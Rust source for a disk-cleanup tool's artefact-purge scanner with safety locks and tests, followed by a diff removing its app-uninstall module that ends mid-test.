use squid_core::progress::{CancelToken, Progress};
use squid_core::{Bytes, Category, CleanupItem, ItemKind, LockReason, ScanReport};
use std::path::{Path, PathBuf};
use std::process::Command;
/// Directories that are regenerable wherever they appear.
const ALWAYS: &[&str] = &[
"node_modules",
"target",
"Pods",
".venv",
"__pycache__",
".next",
".nuxt",
".turbo",
".parcel-cache",
".pytest_cache",
".mypy_cache",
".ruff_cache",
".dart_tool",
".terraform",
".serverless",
".expo",
"htmlcov",
"DerivedData",
".cxx",
".svelte-kit",
".output",
".astro",
];
/// Same, but only when the folder clearly belongs to a project: `~/build` or
/// `~/Downloads/dist` are somebody's data, not build output.
const AMBIGUOUS: &[&str] = &[
"dist", "build", "out", "coverage", ".build", "venv", ".gradle",
];
/// Files that prove the containing folder is a project root.
const PROJECT_MARKERS: &[&str] = &[
"package.json",
"Cargo.toml",
"go.mod",
"pyproject.toml",
"setup.py",
"requirements.txt",
"Podfile",
"build.gradle",
"build.gradle.kts",
"settings.gradle",
"pom.xml",
"Gemfile",
"pubspec.yaml",
"composer.json",
"Package.swift",
"mix.exs",
"deno.json",
"CMakeLists.txt",
"Makefile",
];
/// Never descended into: OS containers, personal media, tool caches that are
/// the job of `squid clean`, and anything that could be a mount point.
const DO_NOT_DESCEND: &[&str] = &[
".Trash",
".DocumentRevisions-V100",
".PKInstallSandboxManager",
".Spotlight-V100",
".fseventsd",
".vol",
"Library",
"Movies",
"Music",
"Pictures",
"Applications",
"System",
"Private",
"Volumes",
".git",
".svn",
".hg",
".cargo",
".rustup",
".npm",
".pnpm-store",
".yarn",
".bun",
".nvm",
".rbenv",
".pyenv",
".conda",
".anaconda",
".virtualenvs",
".local",
".config",
".cache",
".docker",
".colima",
".orbstack",
".lima",
".minikube",
".ollama",
".android",
".gradle",
".m2",
".sbt",
".ivy2",
".cocoapods",
".pub-cache",
".flutter",
".bundle",
".composer",
".dotnet",
".nuget",
".gvm",
".sdkman",
".oh-my-zsh",
".zsh_sessions",
".vscode",
".vscode-shared",
".cursor",
".jetbrains",
".macos",
".cups",
".ssh",
".gnupg",
".codex",
];
/// How deep the walk goes from each root.
const DEFAULT_DEPTH: usize = 6;
/// Hard stop so a pathological tree cannot spin forever.
const MAX_DIRS: usize = 300_000;
#[derive(Clone, Debug, Default)]
pub struct PurgeOptions {
/// Where to look. Empty means "the roots from settings plus `$HOME`".
pub roots: Vec<PathBuf>,
/// `None` = use `settings.purge_min_age_days`, `Some(0)` = disable.
pub min_age_days: Option<u64>,
/// Ignore the age rule *and* the "tracked by git" refusal.
pub force: bool,
/// Maximum depth below each root.
pub max_depth: Option<usize>,
}
/// One folder the walk wants to reclaim.
#[derive(Clone, Debug)]
struct Candidate {
path: PathBuf,
/// Nearest directory that looks like a project root (or the artefact itself).
project: PathBuf,
name: String,
always: bool,
}
/// Scan for reclaimable project artefacts.
pub fn scan(
engine: &Engine,
options: &PurgeOptions,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<ScanReport> {
let roots = resolve_roots(engine, options);
if roots.is_empty() {
progress.warning(
"no purge roots exist yet — add some with `squid whitelist`-style config or pass paths",
);
return Err(squid_core::SquidError::NothingToDo);
}
let depth = options.max_depth.unwrap_or(DEFAULT_DEPTH);
progress.phase(
"purge",
format!("searching {} location(s) for build artefacts", roots.len()),
);
progress.tick(0, None, None);
let mut candidates: Vec<Candidate> = Vec::new();
let mut visited = 0usize;
for root in &roots {
let top_level = roots.len() > 1 && root.components().count() <= 3;
let cap = if top_level { depth.min(4) } else { depth };
walk(root, cap, &mut candidates, &mut visited, progress, cancel)?;
}
candidates.sort_by(|a, b| a.path.cmp(&b.path));
candidates.dedup_by(|a, b| a.path == b.path);
progress.note(format!("{} artefact folders found", candidates.len()));
let min_age = options
.min_age_days
.unwrap_or(engine.settings().purge_min_age_days);
progress.phase("verify", "checking git status and ages");
let mut report = ScanReport::default();
let mut git_cache: Vec<(PathBuf, GitState)> = Vec::new();
for (index, candidate) in candidates.iter().enumerate() {
if cancel.is_cancelled() {
return Err(squid_core::SquidError::Cancelled);
}
progress.tick(
index as u64 + 1,
Some(candidates.len() as u64),
Some(candidate.path.clone()),
);
let mut item = item_for(candidate);
if !options.force {
let project_root = match project_with_git(&candidate.path) {
Some(dir) => dir,
None => candidate.project.clone(),
};
let state = match git_cache.iter().find(|(dir, _)| *dir == project_root) {
Some((_, state)) => *state,
None => {
let state = git_state(&project_root, &candidate.path);
git_cache.push((project_root.clone(), state));
state
}
};
match state {
GitState::Tracked => {
item = item
.locked(LockReason::Protected)
.with_note("tracked by git — pass --all to delete anyway");
}
GitState::Ignored => item.note = Some("git-ignored build output".into()),
GitState::Untracked => item.note = Some("untracked by git".into()),
GitState::Unknown => {
let age = age_days(&candidate.path);
match age {
Some(age) if age >= min_age as f64 => {
item.note = Some(format!("no git repo · {:.0} days old", age));
}
Some(age) => {
item = item.locked(LockReason::Protected).with_note(format!(
"no git repo and only {:.0} days old — pass --all",
age
));
}
None => item.note = Some("age unknown".into()),
}
}
}
}
if item.lock.is_none() {
let age = age_days(&candidate.path).unwrap_or(0.0);
if !options.force && min_age > 0 && age < min_age as f64 {
item = item
.locked(LockReason::Protected)
.with_note(format!("modified {:.0} days ago — an active build", age));
}
}
if !candidate.always && item.lock.is_none() {
// `dist`/`build`/`out` are guesses, not proofs: show them, but let
// the user opt in.
item.selected = false;
item.note = Some(format!(
"{} · name only, review before deleting",
item.note.unwrap_or_default()
));
}
if engine.is_whitelisted(&item.path) {
item = item.locked(LockReason::Whitelisted);
} else if let Some(reason) = engine.block_reason(&item) {
item = item.locked(LockReason::Protected).with_note(reason);
}
if !crate::writable_by_us(&candidate.path) && !crate::is_root() {
item = item
.locked(LockReason::NotOwned)
.with_note("owned by another user");
}
report.items.push(item);
}
measure(&mut report, progress, cancel);
report.items.sort_by(|a, b| {
b.on_disk()
.cmp(&a.on_disk())
.then_with(|| a.path.cmp(&b.path))
});
report.unreadable = report
.items
.iter()
.filter(|item| {
item.note
.as_deref()
.map(|note| note.contains("unreadable"))
.unwrap_or(false)
})
.count() as u32;
Ok(report)
}
fn item_for(candidate: &Candidate) -> CleanupItem {
let category = if candidate.name.eq_ignore_ascii_case("DerivedData") {
Category::Developer
} else {
Category::ProjectArtifacts
};
let project = squid_core::paths::pretty(&candidate.project);
// The anchor is what authorises a deletion, and the policy never deletes an
// anchor itself — anchoring an artefact at its own path would lock every
// single candidate. Anchor it at the project that contains it instead.
let mut anchor = candidate.project.clone();
if anchor == candidate.path {
if let Some(parent) = candidate.path.parent() {
anchor = parent.to_path_buf();
}
}
CleanupItem::new(
candidate.path.clone(),
ItemKind::Path,
category,
format!("{}/", candidate.name),
)
.with_rule("purge-artifacts")
.with_anchors(vec![anchor])
.with_note(project)
}
/// Default roots: everything the user configured, plus the home folder itself
/// (shallow) so a project in an unexpected place is still found.
fn resolve_roots(engine: &Engine, options: &PurgeOptions) -> Vec<PathBuf> {
if !options.roots.is_empty() {
return options
.roots
.iter()
.map(|root| squid_core::paths::expand(&root.to_string_lossy()))
.filter(|path| path.is_dir())
.collect();
}
let mut roots = engine.settings().purge_root_paths();
let home = squid_core::paths::home_dir();
if !roots.iter().any(|root| root == &home) {
roots.push(home);
}
roots.retain(|root| root.is_dir());
roots
}
fn walk(
root: &Path,
max_depth: usize,
out: &mut Vec<Candidate>,
visited: &mut usize,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<()> {
let mut stack: Vec<(PathBuf, usize, bool)> = vec![(root.to_path_buf(), 0, false)];
while let Some((dir, depth, in_project)) = stack.pop() {
if cancel.is_cancelled() {
return Err(squid_core::SquidError::Cancelled);
}
if *visited >= MAX_DIRS {
progress.warning(format!(
"stopped after {} folders — narrow the search with explicit paths",
MAX_DIRS
));
return Ok(());
}
*visited += 1;
if depth % 32 == 0 {
progress.tick(*visited as u64, None, Some(dir.clone()));
}
let Ok(entries) = std::fs::read_dir(&dir) else {
continue;
};
let mut dirs: Vec<String> = Vec::new();
let mut is_project = false;
for entry in entries.flatten() {
let name = entry.file_name().to_string_lossy().into_owned();
let is_dir = entry
.file_type()
.map(|t| t.is_dir())
.unwrap_or_else(|_| entry.path().is_dir());
if is_dir {
dirs.push(name);
} else if PROJECT_MARKERS.iter().any(|marker| marker == &name) {
is_project = true;
}
}
for name in dirs {
if ALWAYS.iter().any(|known| known.owns(&name)) {
out.push(Candidate {
path: dir.join(&name),
project: if is_project || in_project {
dir.clone()
} else {
nearest_project(&dir).unwrap_or_else(|| dir.clone())
},
name,
always: true,
});
continue;
}
if AMBIGUOUS.iter().any(|known| known.owns(&name)) && (is_project || in_project) {
out.push(Candidate {
path: dir.join(&name),
project: dir.clone(),
name,
always: false,
});
continue;
}
if DO_NOT_DESCEND.iter().any(|skip| skip.owns(&name)) {
continue;
}
if depth < max_depth {
stack.push((dir.join(&name), depth + 1, is_project || in_project));
}
}
}
Ok(())
}
/// Compare a directory entry name against a known name, case-insensitively for
/// ASCII (macOS file systems are case-insensitive, git is not).
trait Owns {
fn owns(&self, name: &str) -> bool;
}
impl Owns for &str {
fn owns(&self, name: &str) -> bool {
self.eq_ignore_ascii_case(name)
}
}
/// Walk up looking for a directory that declares itself a project.
fn nearest_project(dir: &Path) -> Option<PathBuf> {
let mut cursor = dir.to_path_buf();
for _ in 0..4 {
if !cursor.pop() {
return None;
}
let Ok(entries) = std::fs::read_dir(&cursor) else {
continue;
};
let hit = entries.flatten().any(|entry| {
let name = entry.file_name().to_string_lossy().into_owned();
PROJECT_MARKERS.iter().any(|marker| marker == &name)
});
if hit {
return Some(cursor);
}
}
None
}
/// Nearest ancestor that is a git work tree.
fn project_with_git(artifact: &Path) -> Option<PathBuf> {
let mut cursor = artifact.parent()?.to_path_buf();
loop {
if cursor.join(".git").exists() {
return Some(cursor);
}
if !cursor.pop() {
return None;
}
}
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
enum GitState {
/// `git check-ignore` says the folder is ignored — safe to delete.
Ignored,
/// `git ls-files` says content inside the folder is tracked — never delete.
Tracked,
/// Inside a work tree, ignored by git, nothing tracked.
Untracked,
/// No git repository around, or git is unavailable.
Unknown,
}
fn git_state(project: &Path, artifact: &Path) -> GitState {
if !project.join(".git").exists() || project_with_git(artifact).is_none() {
return GitState::Unknown;
}
let ignored = run_git(
project,
&["check-ignore", "-q", &artifact.to_string_lossy()],
);
if ignored == Some(true) {
return GitState::Ignored;
}
let tracked = run_git_raw(project, &["ls-files", "--", &artifact.to_string_lossy()]);
match tracked {
Some(list) if !list.trim().is_empty() => GitState::Tracked,
Some(_) => GitState::Untracked,
None => GitState::Unknown,
}
}
fn run_git(project: &Path, args: &[&str]) -> Option<bool> {
let output = Command::new("git")
.arg("-C")
.arg(project)
.args(args)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.output()
.ok()?;
Some(output.status.success())
}
fn run_git_raw(project: &Path, args: &[&str]) -> Option<String> {
let output = Command::new("git")
.arg("-C")
.arg(project)
.args(args)
.stderr(std::process::Stdio::null())
.output()
.ok()?;
if output.status.success() {
Some(String::from_utf8_lossy(&output.stdout).into_owned())
} else {
None
}
}
fn measure(report: &mut ScanReport, progress: &Progress, cancel: &CancelToken) {
let targets: Vec<(PathBuf, ItemKind)> = report
.items
.iter()
.map(|item| (item.path.clone(), item.kind))
.collect();
if targets.is_empty() {
return;
}
progress.phase("measure", "measuring artefacts");
let sizes = squid_core::fs::measure_all(&targets, cancel, |index, _info| {
progress.tick(
index as u64 + 1,
Some(targets.len() as u64),
targets.get(index).map(|(path, _)| path.clone()),
);
});
for (item, info) in report.items.iter_mut().zip(sizes) {
item.size = info.logical;
item.allocated = info.allocated;
if info.unreadable > 0 {
let suffix = format!("{} entries unreadable", info.unreadable);
item.note = Some(match item.note.take() {
Some(note) => format!("{note} · {suffix}"),
None => suffix,
});
}
}
}
/// APFS local snapshots: they can pin tens of gigabytes. Reported, never
/// removed — dropping them needs admin rights and a decision about backups.
/// tmutil prints a `Snapshots for disk /:` banner that is not a snapshot name.
const SNAPSHOT_PREFIX: &str = "com.apple.TimeMachine";
#[derive(Clone, Debug, Default)]
pub struct LocalSnapshot {
pub name: String,
pub size_hint: Bytes,
}
pub fn local_snapshots() -> Vec<LocalSnapshot> {
if !cfg!(target_os = "macos") {
return Vec::new();
}
let output = match Command::new("tmutil")
.arg("listlocalsnapshots")
.arg("/")
.stderr(std::process::Stdio::null())
.output()
{
Ok(output) if output.status.success() => output,
_ => return Vec::new(),
};
String::from_utf8_lossy(&output.stdout)
.lines()
.map(str::trim)
.filter(|line| line.starts_with(SNAPSHOT_PREFIX))
.map(|line| LocalSnapshot {
name: line.to_string(),
size_hint: Bytes::ZERO,
})
.collect()
}
/// Human hint for the purge screen.
pub fn snapshot_note(snapshots: &[LocalSnapshot]) -> Option<String> {
if snapshots.is_empty() {
return None;
}
Some(format!(
"{} APFS local snapshot(s) present — remove with `tmutil deletelocalsnapshots <date>` (admin)",
snapshots.len()
))
}
#[cfg(test)]
mod tests {
use super::*;
/// Returns None when an endpoint protector refuses the scratch writes
/// (skip, not failure).
fn sandbox() -> Option<PathBuf> {
let root = std::env::temp_dir().join(format!(
"squid-purge-test-{}-{}",
std::process::id(),
squid_core::ledger::new_session_id()
));
let plant = || -> std::io::Result<()> {
std::fs::create_dir_all(root.join("demo/node_modules/left-pad"))?;
std::fs::write(root.join("demo/node_modules/left-pad/index.js"), b"x")?;
std::fs::write(root.join("demo/package.json"), b"{}")?;
std::fs::create_dir_all(root.join("demo/dist"))?;
std::fs::write(root.join("demo/dist/index.html"), b"x")?;
std::fs::create_dir_all(root.join("loose/dist"))?;
std::fs::write(root.join("loose/dist/important.pdf"), b"x")?;
std::fs::create_dir_all(root.join("rust/checkme/target/debug"))?;
std::fs::write(root.join("rust/checkme/Cargo.toml"), b"[package]")?;
std::fs::write(root.join("rust/checkme/target/debug/bin"), b"x")?;
Ok(())
};
match plant() {
Ok(()) => Some(root),
Err(error) if error.kind() == std::io::ErrorKind::PermissionDenied => {
eprintln!("skipping: scratch write denied ({error})");
None
}
Err(error) => panic!("scratch dir: {error}"),
}
}
#[test]
fn artefacts_are_found_and_loose_dirs_are_left_alone() {
let Some(root) = sandbox() else { return };
let settings = squid_core::settings::Settings {
purge_roots: vec![root.to_string_lossy().into_owned()],
..squid_core::settings::Settings::default()
};
let engine = Engine::with_settings(settings, Vec::new());
let progress = Progress::new();
let cancel = CancelToken::new();
let report = scan(
&engine,
&PurgeOptions {
roots: vec![root.clone()],
min_age_days: Some(0),
force: true,
max_depth: Some(6),
},
&progress,
&cancel,
)
.expect("scan");
let found: Vec<&std::path::Path> = report
.items
.iter()
.map(|item| item.path.as_path())
.collect();
// Compare trailing *components*, never the rendered string: on Windows
// `...\demo\node_modules` never ends with "demo/node_modules", which
// failed the positive asserts and — far worse — made the negative one
// below pass for the wrong reason on every Windows run.
let has = |suffix: &str| {
found
.iter()
.any(|path| path.ends_with(std::path::Path::new(suffix)))
};
let listed = || {
found
.iter()
.map(|path| path.display().to_string())
.collect::<Vec<_>>()
};
assert!(has("demo/node_modules"), "{:?}", listed());
assert!(has("rust/checkme/target"), "{:?}", listed());
assert!(
has("demo/dist"),
"dist inside a project is an artefact: {:?}",
listed()
);
assert!(
!has("loose/dist"),
"dist outside a project must not be offered: {:?}",
listed()
);
for item in &report.items {
assert_eq!(item.kind, ItemKind::Path);
assert!(!item.anchors.is_empty());
}
let _ = std::fs::remove_dir_all(&root);
}
#[test]
fn fresh_artefacts_are_locked_without_force() {
let Some(root) = sandbox() else { return };
let settings = squid_core::settings::Settings {
purge_roots: vec![root.to_string_lossy().into_owned()],
purge_min_age_days: 30,
..squid_core::settings::Settings::default()
};
let engine = Engine::with_settings(settings, Vec::new());
let progress = Progress::new();
let cancel = CancelToken::new();
let report = scan(
&engine,
&PurgeOptions {
roots: vec![root.clone()],
min_age_days: None,
force: false,
max_depth: Some(6),
},
&progress,
&cancel,
)
.expect("scan");
assert!(!report.items.is_empty());
assert!(
report.items.iter().all(|item| !item.selected),
"brand new artefacts must not be pre-selected"
);
let _ = std::fs::remove_dir_all(&root);
}
#[test]
fn git_state_understands_an_ignored_folder() {
let root = std::env::temp_dir().join(format!(
"squid-purge-git-{}-{}",
std::process::id(),
squid_core::ledger::new_session_id()
));
let repo = root.join("repo");
if let Err(error) = std::fs::create_dir_all(repo.join("src")) {
if error.kind() == std::io::ErrorKind::PermissionDenied {
eprintln!("skipping: scratch write denied ({error})");
return;
}
panic!("scratch dir: {error}");
}
std::fs::create_dir_all(repo.join("node_modules/pkg")).unwrap();
std::fs::write(repo.join("package.json"), b"{}").unwrap();
std::fs::write(repo.join("src/main.js"), b"x").unwrap();
std::fs::write(repo.join(".gitignore"), b"node_modules/\n").unwrap();
let init = Command::new("git")
.current_dir(&repo)
.args(["init", "-q"])
.status();
if init.map(|s| s.success()).unwrap_or(false) {
let state = git_state(&repo, &repo.join("node_modules"));
assert_eq!(state, GitState::Ignored);
let tracked = git_state(&repo, &repo.join("src"));
assert_eq!(tracked, GitState::Untracked);
}
let _ = std::fs::remove_dir_all(&root);
}
#[test]
fn do_not_descend_covers_the_dangerous_names() {
for name in ["Library", ".Trash", ".git", "Volumes", ".ssh"] {
assert!(
DO_NOT_DESCEND.iter().any(|skip| skip.owns(name)),
"{name} must never be descended into"
);
}
assert!(ALWAYS.iter().any(|known| known.owns("node_modules")));
assert!(AMBIGUOUS.iter().any(|known| known.owns("build")));
assert!(!ALWAYS.iter().any(|known| known.owns("build")));
}
}

View File

@ -1,614 +0,0 @@
//! `squid uninstall` — AppCleaner-style "app plus everything it left behind".
//!
//! The plan is built from two sources: the `.app` bundle itself and a readdir
//! index of the per-app leftover roots (`~/Library/Preferences`,
//! `~/Library/Containers`, `/Library/LaunchDaemons`, …). Matching is by bundle
//! id first — names are ambiguous, reverse-DNS identifiers are not.
//!
//! Nothing is deleted here. [`remove_plan`] hands the approved items to
//! [`crate::delete`], which re-validates every single path.
use crate::delete::{self, DeleteJob, DeleteOutcome};
use crate::Engine;
use squid_core::progress::{CancelToken, Progress};
use squid_core::{
AppInfo, Bytes, Category, CleanupItem, DeleteMode, ItemKind, LockReason, UninstallPlan,
};
use squid_platform::apps::read_bundle;
use squid_platform::leftovers::LeftoverIndex;
use squid_platform::Naming;
use std::collections::HashMap;
use std::path::{Path, PathBuf};
/// Read the installed-app inventory.
pub fn scan_apps(
engine: &Engine,
size_apps: bool,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<Vec<AppInfo>> {
progress.phase("apps", "reading the application inventory");
let apps = engine.platform().list_apps(cancel, size_apps)?;
progress.note(format!("{} applications found", apps.len()));
Ok(apps)
}
/// Look apps up by name, bundle id or `.app` path.
pub fn find(
engine: &Engine,
query: &str,
cancel: &CancelToken,
progress: &Progress,
) -> squid_core::Result<Vec<AppInfo>> {
let needle = query.trim();
if needle.is_empty() {
return Err(squid_core::SquidError::NothingToDo);
}
let mut apps = scan_apps(engine, false, progress, cancel)?;
// A literal bundle path beats fuzzy matching: `squid uninstall ./Foo.app`.
let as_path = squid_core::paths::expand(needle);
if as_path.extension().map(|e| e == "app").unwrap_or(false) && as_path.is_dir() {
let bundle = read_bundle(&as_path).unwrap_or_default();
let running = engine.platform().running_executables();
if let Some(mut app) =
squid_platform::apps::app_from_bundle(as_path.clone(), "Path", &running, false)
{
app.bundle_id = bundle.bundle_id.or(app.bundle_id);
return Ok(vec![app]);
}
}
let needle_lower = needle.to_lowercase();
let needle_compact = needle_lower.replace([' ', '-', '_'], "");
apps.retain(|app| {
let name = app.name.to_lowercase();
let stem = squid_platform::apps::stem_lower(&app.path);
let id = app.bundle_id.as_deref().unwrap_or_default().to_lowercase();
name == needle_lower
|| stem == needle_lower
|| id == needle_lower
|| name.contains(&needle_lower)
|| stem.contains(&needle_lower)
|| id.contains(&needle_lower)
|| name.replace([' ', '-', '_'], "").contains(&needle_compact)
});
apps.sort_by_key(|app| {
let name = app.name.to_lowercase();
match (
name == needle_lower,
name.starts_with(&needle_lower),
name.contains(&needle_lower),
) {
(true, _, _) => 0,
(_, true, _) => 1,
(_, _, true) => 2,
_ => 3,
}
});
Ok(apps)
}
/// Everything that would be removed for `app`, with locks already applied.
pub fn build_plan(
engine: &Engine,
app: &AppInfo,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<UninstallPlan> {
progress.phase("plan", format!("looking for {} leftovers", app.name));
let mut plan = UninstallPlan {
app: app.clone(),
items: Vec::new(),
warnings: Vec::new(),
};
let system = is_system_app(app);
if system {
plan.warnings.push(
"this app ships with macOS (SIP-protected) — squid will refuse to delete it"
.to_string(),
);
}
if app.running {
plan.warnings.push(format!(
"{} is running — quit it before uninstalling",
app.name
));
}
if app.has_sibling_install {
plan.warnings.push(
"another copy of this bundle id is installed; shared preference files stay behind"
.to_string(),
);
}
// 1. The bundle itself.
let mut bundle_item = CleanupItem::new(
app.path.clone(),
ItemKind::Path,
Category::Leftovers,
app.name.clone(),
)
.with_rule("uninstall-bundle")
.with_anchors(bundle_anchors(&app.path));
bundle_item.note = Some(match app.version.as_deref() {
Some(version) => format!("{} · {}", app.source, version),
None => app.source.clone(),
});
if system {
bundle_item = bundle_item
.locked(LockReason::Protected)
.with_note("system application");
} else if app.running {
bundle_item = bundle_item
.locked(LockReason::AppRunning)
.with_note("quit the app first");
} else if !crate::writable_by_us(&app.path) && !crate::is_root() {
bundle_item = bundle_item.locked(LockReason::NotOwned).with_note(format!(
"{} to remove this copy",
squid_core::elevation_hint()
));
}
plan.push(bundle_item);
// 2. Leftovers. One readdir pass per root, reused for every match.
let roots = engine.platform().leftover_roots();
let index = LeftoverIndex::build(&roots, cancel);
progress.note(format!(
"indexed {} leftover candidates for {}",
index.entry_count(),
app.name
));
let categories = category_index(&roots);
for matched in index.match_app(app.bundle_id.as_deref(), &app.name) {
if skip_leftover(&matched.path, &app.path) {
continue;
}
let kind = if matched.is_dir {
ItemKind::Path
} else {
ItemKind::File
};
let anchor = anchor_for(&matched.path, &roots);
let category = categories
.iter()
.find(|(dir, _)| matched.path.starts_with(dir))
.map(|(_, category)| *category)
.unwrap_or(Category::Leftovers);
let mut item = CleanupItem::new(
matched.path.clone(),
kind,
category,
describe(&matched.path),
)
.with_rule("uninstall-leftovers")
.with_anchors(anchor);
if let Some(root) = roots
.iter()
.find(|root| matched.path.starts_with(&root.dir) && root.naming == Naming::BundleId)
{
let _ = root;
item.note = Some("matched by bundle id".into());
} else if let Some(id) = app.bundle_id.as_deref() {
let _ = id;
item.note = Some("matched by name".into());
}
if system {
item = item
.locked(LockReason::Protected)
.with_note("system application");
} else if app.running {
item = item
.locked(LockReason::AppRunning)
.with_note("quit the app first");
} else if app.has_sibling_install {
item = item
.locked(LockReason::SharedWithOtherInstall)
.with_note("another install still uses this file");
}
if let Some(kind) = document_store(&matched.path) {
item.note = Some(match kind {
Store::Container => "sandboxed container — may hold saved documents".into(),
Store::AppSupport => "application support — may hold saved documents".into(),
});
plan.warnings.push(format!(
"{} may contain documents you created",
squid_core::paths::pretty(&matched.path)
));
}
if let Some(reason) = engine.block_reason(&item) {
item = item.locked(LockReason::Protected).with_note(reason);
}
plan.push(item);
}
measure(&mut plan, progress, cancel)?;
plan.items.sort_by(|a, b| {
b.on_disk()
.cmp(&a.on_disk())
.then_with(|| a.path.cmp(&b.path))
});
let unique: Vec<String> = std::mem::take(&mut plan.warnings)
.into_iter()
.collect::<std::collections::BTreeSet<_>>()
.into_iter()
.collect();
plan.warnings = unique;
Ok(plan)
}
fn measure(
plan: &mut UninstallPlan,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<()> {
let targets: Vec<(PathBuf, ItemKind)> = plan
.items
.iter()
.map(|item| (item.path.clone(), item.kind))
.collect();
let sizes = squid_core::fs::measure_all(&targets, cancel, |index, _info| {
progress.tick(
index as u64 + 1,
Some(targets.len() as u64),
targets.get(index).map(|(path, _)| path.clone()),
);
});
for (item, info) in plan.items.iter_mut().zip(sizes) {
item.size = info.logical;
item.allocated = info.allocated;
if info.unreadable > 0 {
item.note = Some(format!("{} entries unreadable", info.unreadable));
}
}
Ok(())
}
/// Delete an approved plan, running the platform lifecycle hooks around it.
pub fn remove_plan(
engine: &Engine,
plan: &UninstallPlan,
mode: DeleteMode,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<DeleteOutcome> {
let prepared = engine.platform().prepare_uninstall(&plan.app);
for note in &prepared.notes {
progress.note(note.clone());
}
for warning in prepared.warnings.iter().chain(plan.warnings.iter()) {
progress.warning(warning.clone());
}
if !prepared.stopped_services.is_empty() {
progress.note(format!(
"stopped {} background service(s)",
prepared.stopped_services.len()
));
}
let job = DeleteJob::new(plan.items.clone(), mode, "squid uninstall");
let outcome = delete::execute(engine, &job, progress, cancel)?;
let removed: Vec<PathBuf> = outcome
.summary
.session_id
.as_deref()
.and_then(squid_core::ledger::load_session)
.map(|session| session.entries.into_iter().map(|e| e.path).collect())
.unwrap_or_default();
let finished = engine.platform().finish_uninstall(&plan.app, &removed);
for note in finished.notes {
progress.note(note);
}
for warning in finished.warnings {
progress.warning(warning);
}
Ok(outcome)
}
/// The safety anchor for the bundle itself.
///
/// [`squid_core::fs::default_anchors`] deliberately has no `/Applications`
/// entry — it is a list of folders squid is *allowed to clean inside of*, and
/// an application folder is not one of them. Reusing it for the bundle made
/// every uninstall skip the `.app` with "outside every declared cleanup
/// anchor" while happily deleting the leftovers, which is the opposite of what
/// the user approved. The honest anchor is the folder that holds this one
/// bundle: nothing deeper, nothing wider. `/Applications` itself stays on the
/// hard-deny list, so the anchor can never be used to remove the folder.
fn bundle_anchors(bundle: &Path) -> Vec<PathBuf> {
match bundle.parent() {
Some(parent) if !parent.as_os_str().is_empty() => vec![parent.to_path_buf()],
_ => Vec::new(),
}
}
/// A leftover path we refuse to offer: inside the bundle, an ancestor of it,
/// or a symlink pointing back into the bundle.
fn skip_leftover(path: &Path, bundle: &Path) -> bool {
if path == bundle {
return true;
}
if path.starts_with(bundle) || bundle.starts_with(path) {
return true;
}
// `~/Library/Preferences/ByHost` and friends can hold folder placeholders.
let leaf = path
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_default();
if leaf.is_empty() || leaf == "." || leaf == ".." {
return true;
}
false
}
/// Prefer the tightest leftover root as the safety anchor, so the policy sees
/// `~/Library/Preferences` rather than `/`.
fn anchor_for(path: &Path, roots: &[squid_platform::LeftoverRoot]) -> Vec<PathBuf> {
let mut best: Option<PathBuf> = None;
for root in roots {
if path.starts_with(&root.dir) {
let better = match &best {
Some(current) => root.dir.components().count() > current.components().count(),
None => true,
};
if better {
best = Some(root.dir.clone());
}
}
}
match best {
Some(dir) => vec![dir],
None => squid_core::fs::default_anchors(),
}
}
fn category_index(roots: &[squid_platform::LeftoverRoot]) -> Vec<(PathBuf, Category)> {
roots
.iter()
.map(|root| {
// Trailing components, case-insensitively: `ends_with` on the
// rendered path string only holds on whichever OS wrote the
// separator, and quietly stopped classifying on the other one.
let name = root
.dir
.file_name()
.map(|name| name.to_string_lossy().to_lowercase())
.unwrap_or_default();
let parent_is_library = root
.dir
.parent()
.and_then(|parent| parent.file_name())
.map(|name| name.to_string_lossy().eq_ignore_ascii_case("library"))
.unwrap_or(false);
let category = if name == ".cache" || (name == "caches" && parent_is_library) {
Category::AppCaches
} else if name == "logs" && parent_is_library {
Category::Logs
} else {
root.category
};
(root.dir.clone(), category)
})
.collect()
}
/// Folders that can hold a document the user made, not just program state.
/// Split so the warning says *which* kind of folder it is — calling
/// `~/Library/Application Support/Foo` a "sandboxed container" is just wrong.
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
enum Store {
Container,
AppSupport,
}
fn document_store(path: &Path) -> Option<Store> {
let text = path.to_string_lossy();
if text.contains("/Library/Containers/") || text.contains("/Library/Group Containers/") {
Some(Store::Container)
} else if text.contains("/Library/Application Support/") {
Some(Store::AppSupport)
} else {
None
}
}
/// Short human label for a leftover: "Preferences/com.foo.plist".
fn describe(path: &Path) -> String {
let components: Vec<String> = path
.components()
.rev()
.take(2)
.map(|c| c.as_os_str().to_string_lossy().into_owned())
.collect();
if components.len() == 2 {
format!("{}/{}", components[1], components[0])
} else {
components
.first()
.cloned()
.unwrap_or_else(|| squid_core::paths::pretty(path))
}
}
pub fn is_system_app(app: &AppInfo) -> bool {
app.path.starts_with("/System")
|| app.source.eq_ignore_ascii_case("macOS Apps")
|| app.name.eq_ignore_ascii_case("Safari")
}
/// Total space a plan would reclaim, preferring the on-disk figure.
pub fn plan_size(plan: &UninstallPlan) -> Bytes {
plan.items.iter().map(|item| item.on_disk()).sum()
}
/// Group a plan by category for the detail screen.
pub fn plan_buckets(plan: &UninstallPlan) -> HashMap<Category, (Bytes, usize)> {
let mut out: HashMap<Category, (Bytes, usize)> = HashMap::new();
for item in &plan.items {
let entry = out.entry(item.category).or_insert((Bytes::ZERO, 0));
entry.0 += item.on_disk();
entry.1 += 1;
}
out
}
#[cfg(test)]
mod tests {
use super::*;
fn sample_app(path: &str, source: &str) -> AppInfo {
AppInfo {
name: "Demo".into(),
bundle_id: Some("com.example.Demo".into()),
path: PathBuf::from(path),
icon_source: None,
version: Some("1.0".into()),
size: Bytes(1_000),
source: source.into(),
running: false,
has_sibling_install: false,
publisher: None,
installed_ms: None,
display_icon: None,
}
}
#[test]
fn the_bundle_itself_passes_the_safety_policy() {
// Regression: uninstall used to approve six items and delete five,
// because the `.app` had no anchor and was dropped in silence.
let policy = squid_core::SafetyPolicy::default();
for bundle in [
"/Applications/Demo.app",
"/Applications/Utilities/Demo.app",
"/Users/tester/Applications/Demo.app",
] {
